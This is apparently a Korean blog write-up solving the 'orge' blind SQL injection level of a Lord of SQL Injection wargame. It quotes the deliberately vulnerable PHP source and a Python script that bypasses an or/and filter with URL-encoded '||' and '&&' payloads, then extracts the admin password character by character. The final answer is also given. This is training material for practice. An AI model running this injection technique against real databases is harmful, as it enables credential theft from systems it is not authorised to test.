[LOS] orge
https://los.eagle-jump.org/ 버전
query : select id from prob_orge where id='guest' and pw=''
<?php
include "./config.php";
login_chk();
dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysql_fetch_array(mysql_query($query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysql_fetch_array(mysql_query($query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
orge 문제는 orc 문제와 비슷한 blind sql injection 문제인 듯 하다. darkelf 문제와 마찬가지로 or,and는 필터링 된다.
addslashes 함수가 쓰이고 query가 두 개 있다. orc 문제는 수동으로 풀었지만 orge 문제부터는 python 코드를 이용해 풀 예정이다.
아래 python 코드는 패스워드의 길이와 전체 패스워드를 출력해준다. orc 문제를 풀었던 것에서 조금만 수정을 하면 되는데 url 주소창에 &&을 그대로 넣어주면 반영이 안된다. url인코딩을 통해 &&을 %26%26으로 바꿔주고, ||도 바꿔주고 싶다면 %7c%7c 로 하면 된다.
from requests import get
import string
from time import sleep
url = "https://los.eagle-jump.org/orge_~~~.php"
cookies = dict(PHPSESSID="세션")
special_strings = "~!@#$%^&*()+-_{}[]<>"
alpha = string.ascii_letters+string.digits+special_strings
result = ""
for i in range(1,20):
parameter = "?pw=1'||length(pw)='"+ str(i) + "%23"
new_url = url + parameter
r = get(new_url, cookies=cookies)
if r.text.find("Hello admin") > 0:
length = i + 1
print("password length is " + str(i))
break
for i in range(1, length):
for a in alpha:
parameter = "?pw=' || id='admin' %26%26 ASCII(substr(pw,"+ str(i)+",1))="+str(ord(a))+"%23"
new_url = url + parameter
r = get(new_url, cookies=cookies)
if r.text.find("Hello admin") > 0:
print(str(i) + " -> " + a)
result += a
break
if i == 1 and result == "":
print("password not found")
exit(0)
if i == length-1:
print("\npassword is"+result)
print("\n")
코드 실행 결과
패스워드 길이는 8, 전체 패스워드는 6c864dec 이다.
?pw=6c864dec
를 입력해주면 문제가 풀린다.
https://los.rubiya.kr 버전
코드는 동일하다